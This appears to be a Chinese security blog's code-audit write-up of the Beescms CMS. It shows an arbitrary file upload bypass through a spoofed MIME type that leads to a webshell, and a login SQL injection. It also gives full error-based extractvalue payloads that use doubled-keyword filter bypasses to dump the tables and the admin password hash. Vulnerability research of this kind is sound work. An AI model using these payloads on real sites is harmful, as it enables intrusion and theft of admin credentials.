Beescms代码审计

Beescms代码审计之任意文件上传漏洞

前言

本次代码审计过程主要针对文件上传漏洞初级审计流程的思路进行复现

关键代码

文件上传: $_FILES,type="file",上传,move_upload_file()等

开始

搜索type="file"字段发现不少东西:

image-20210918185339960

选择第二个,发现了用户自定义的函数:image-20210918191857052

跟踪一下:

image-20210918192432989

结合实际情况进行抓包通过参数定位到代码中进行确定:

image-20210918193215651

可以确定确实是这一块的代码

两处滤点:

  1. 针对太大的图片进行了过滤
  2. 将图片类型与传入的参数$type数组进行了比较,判断是否满足数组中的类型

第一个不是问题,第二个可以跟踪$type来查看定义了那些类型:

回溯到第一个文件中:

array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png')

整个漏洞体现的很明显了,mime类型绕过即可:

image-20210918193846606

image-20210918194417007

但是还有一个什么问题,就是获取路径:

image-20210918194821338

这里就可以获取路径,然后木马一连就可以了

利用已知函数进行漏洞再挖掘:

上回已经知道up_img函数验证不严谨,既然如此,我们就针对up_img函数进行一个全局搜索:

image-20210918203910928

这个地方应该都是一样的东西,既然调用同一个函数,那么基本这个上传点也存在一样的漏洞:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1LwwYMTg-1632112960265)(http://images2.5666888.xyz//image-20210918204157912.png)]

同样的操作,同样的思路,将漏洞利用最大化i😏:

image-20210918204349682

此处自动返回路径:image-20210918204609769

路径一样:getshell!!!i😁

image-20210918204807568

Beescms代码审计之sql注入漏洞

针对登陆页面进行抓包以找到检测页面:

image-20210919185210877

找到具体检测的函数:

image-20210919192119150

经过全局跟踪在fun.php中找到了该函数的定义:

image-20210919192329086

可以看出来$user没有经过任何函数处理:

注入测试:a' or sleep(3)#验证码要对,果然睡了3秒说明是注入点

过滤:

fun.php中的fl_value函数

select
insert
update
and
in
on
left
joins
delete 
%
=
/**
../
./
union
from
where
group
into
load_file
outfile

fun.php中的fl_html函数:

function fl_html($str){
	return htmlspecialchars($str);
}

PHP htmlspecialchars() 函数

那么结合下面payload可以进行注入:

//爆破库名
yn8rt'and extractvalue(1,concat(0x7e,select database(),0x7e))#
//利用双写+空格绕过过滤
//爆破表名
yn8rt' a and nd extractvalue(1,concat(0x7e,(selselectect table_name fr from om information_schema.tables wh where ere table_schema like 'beescms' limit 0,1),0x7e))#
//爆破列名
yn8rt' a and nd extractvalue(1,concat(0x7e,(selselectect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 0,1),0x7e))#
//爆破admin账户名:admin
yn8rt' a and nd extractvalue(1,concat(0x7e,(selselectect admin_name fr from om beescms.bees_admin limit 0,1),0x7e))#
//结合substr全部爆破密码
yn8rt' a and nd extractvalue(1,concat(0x7e,substr((selselectect admin_password fr from om beescms.bees_admin limit 0,1),3,32),0x7e))#
//21232f297a57a5a743894a0e4a801fc3很明显的md5函数处理:admin

image-20210919200049760

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yn8rt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值